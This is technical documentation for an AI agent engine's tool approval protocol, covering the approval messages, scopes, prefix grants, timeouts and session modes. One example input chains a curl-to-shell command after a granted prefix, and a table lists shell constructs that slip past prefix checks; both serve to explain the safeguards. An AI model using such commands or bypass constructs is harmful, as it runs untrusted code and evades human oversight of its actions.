Skip to content

Tool Approval Protocol

When the engine wants to call a tool in Default or AutoEdit mode, it pauses and emits a tool_request event before executing anything. The host is responsible for deciding whether to proceed. This is the tool approval protocol: the handshake that keeps the engine from taking irreversible actions without explicit host consent.

All approval state is managed by ToolApprovalManager in crates/wcore-protocol/src/lib.rs.


When a tool call needs approval, the orchestrator calls ToolApprovalManager::request_approval(call_id, category, tool_name). This registers a oneshot channel entry keyed by call_id and returns the receiver end. The orchestrator then awaits on that receiver; execution of the tool is blocked until the host resolves the call.

Simultaneously, the engine emits a tool_request event to the host over stdout:

{
"type": "tool_request",
"msg_id": "m1",
"call_id": "c-9f3a",
"tool": {
"name": "Bash",
"category": "exec",
"args": {"command": "cargo test --lib"},
"description": "Execute: cargo test --lib"
}
}

tool.category is one of "info", "edit", "exec", or "mcp". The category maps to built-ins as follows: Read, Glob, Grep are "info"; Write, Edit are "edit"; Bash, Spawn are "exec"; all MCP-backed tools are "mcp".

The engine also emits a tool_running event immediately after approval is granted, before the tool executes.


The host sends tool_approve with the matching call_id:

{"type": "tool_approve", "call_id": "c-9f3a", "scope": "once"}

ToolApprovalManager::approve(call_id, scope, answer) removes the pending entry and resolves the oneshot channel with ToolApprovalResult::Approved { answer }. The orchestrator unblocks and dispatches the tool.

scope controls whether the approval extends to future calls. Three values are accepted (defined in commands.rs:86-100):

Wire valueRust variantEffect
"once" (default)OnceApproves only this call; the next call to the same tool prompts again
"always"AlwaysRegisters the specific tool name in the auto-approve set; future calls to this tool skip the gate
{"always_prefix":{"prefix":"cargo "}}AlwaysPrefix { prefix }Auto-approves future exec calls whose command head matches the literal prefix

"once" and "always" are bare string values. AlwaysPrefix serializes as a JSON object. Old hosts that never emit AlwaysPrefix are unaffected; the Once/Always wire shape is unchanged.

The W5.6 H-2 security fix: Always is tool-name scoped

Section titled “The W5.6 H-2 security fix: Always is tool-name scoped”

Prior to W5.6, ApprovalScope::Always registered the whole tool category, so approving Bash with "always" silently auto-approved Write and Edit as well (same "exec" category). W5.6 H-2 fixes this: Always now registers the specific tool name in auto_approved_tool_names, not the category in auto_approved. The two sets are checked independently:

// Orchestration gate (pseudocode from lib.rs):
needs_approval = ...
&& !is_auto_approved_cmd(category, command) // category-wide
&& !is_tool_name_auto_approved(tool_name) // tool-name-scoped

Approving "Bash" with "always" will NOT auto-approve "Write" or "Edit".


{"type": "tool_deny", "call_id": "c-9f3a", "reason": "Destructive command rejected by policy"}

ToolApprovalManager::resolve(call_id, ToolApprovalResult::Denied { reason }) resolves the oneshot with a deny. The orchestrator surfaces the denial as a tool_cancelled event and reports the reason back to the LLM context.


AlwaysPrefix grants are prefix-checked against the full command string, not just the first word. Two safety mechanisms prevent bypasses (both implemented in lib.rs, labeled H-4 / protocol-input-33):

A granted prefix like "cargo " must not auto-approve a command that chains an unapproved sub-command after it. The approval check splits the command on ;, &&, ||, |, and newline, then requires every resulting sub-command head to independently match an allowed prefix:

"cargo build && cargo test" -> approved (both heads match "cargo ")
"cargo build; curl https://x|sh" -> NOT approved (curl head does not match)
"cargo build | grep error" -> NOT approved (grep head does not match)

An empty command (whitespace or separators only) is also not approved, guarding against vacuous empty-buffer commits.

Certain shell constructs run additional commands that the prefix splitter cannot tokenize at all. These always fall through to the human-in-the-loop gate, regardless of any registered prefix:

ConstructReason blocked
$(...) command substitutionExecutes a sub-shell before the main command runs
`...` backtick substitutionSame as $(...)
<(...) / >(...) process substitutionSpawns additional processes
Lone & (background/async)Runs a second command in the background; the prefix check cannot vet it

A paired && logical-AND is not a lone & and is handled correctly by the chain splitter.


When the hitl_suspend capability is advertised in ready, the engine uses a higher-level flow for tools that require out-of-band human decisions (such as AskUserQuestion). Instead of blocking silently, it emits approval_required and suspend:

{
"type": "approval_required",
"call_id": "c-8b2d",
"resume_token": "rt-9b3c",
"correlation_id": "rt-9b3c",
"reason": "Tool requires host decision",
"context": "AskUserQuestion: Which deployment target?"
}
{"type": "suspend", "reason": "awaiting host decision", "resume_token": "rt-9b3c"}

The host presents the decision to the user, then sends approval_resume with the original resume_token:

{
"type": "approval_resume",
"resume_token": "rt-9b3c",
"approved": true,
"modifications": {"answer": "staging"}
}

modifications is an optional JSON value; for AskUserQuestion-class tools, it carries the user’s answer back through the approval channel (the answer field, v0.9.3). The engine also echoes the resolution as an approval_resume event so the host can clear UI state regardless of which path sent the command.

Security note: resume_token in the wire event is the public correlation handle. The internal bridge secret never appears on the wire. ProtocolSink strips correlation IDs from streaming tool output as defense-in-depth against tools that read stdout.


Every pending approval entry carries a wall-clock expiry set at Instant::now() + ttl when request_approval is called. The default TTL is 5 minutes (DEFAULT_APPROVAL_TTL = Duration::from_secs(300), lib.rs:25).

A background reaper task sweeps the pending map every 30 seconds (DEFAULT_REAP_INTERVAL = Duration::from_secs(30), lib.rs:30). On each sweep it auto-denies any entry where:

  • expires_at <= now: the TTL has elapsed with no host response
  • tx.is_closed(): the requesting task was cancelled while parked on the approval await

Auto-denied entries resolve the oneshot receiver with Denied { reason: "approval timed out (no host response)" }, unblocking the orchestrator. This ensures the agent is never permanently wedged by a host that crashed, closed the pipe, or walked away from an approval modal.

// Spawn the reaper once at engine bootstrap (Arc-shared):
let handle = approval_manager.spawn_reaper(DEFAULT_REAP_INTERVAL);

reap_now() is also public so tests can drive expiry without waiting for the interval, and hosts that want on-demand sweeps can call it directly.


ToolApprovalManager holds the current SessionMode, which determines which categories are auto-approved without a tool_request being emitted at all:

ModeAuto-approved categories
Defaultnone; every tool call prompts
AutoEdit"info" and "edit"; "exec" and "mcp" still prompt
Forceall categories; no prompts

The mode is set by the --force flag at startup or by a set_mode command at runtime. Mode changes take effect immediately for subsequent tool calls; calls already blocked in await on an approval channel are not retroactively resolved.


ToolApprove gained an optional answer field in v0.9.3:

{"type": "tool_approve", "call_id": "c-7a1e", "scope": "once", "answer": "Choice C"}

This is additive: hosts that do not know about answer omit the field; serde’s #[serde(default)] on the field keeps the old wire shape working. The answer value routes back to orchestration through ToolApprovalResult::Approved { answer } and is used directly as tool output for AskUserQuestion-class tools, bypassing the dispatcher. The orchestration gate that synthesizes from answer is guarded on tool_name == "AskUserQuestion", so a host bug cannot fabricate output for Bash, Edit, or Write.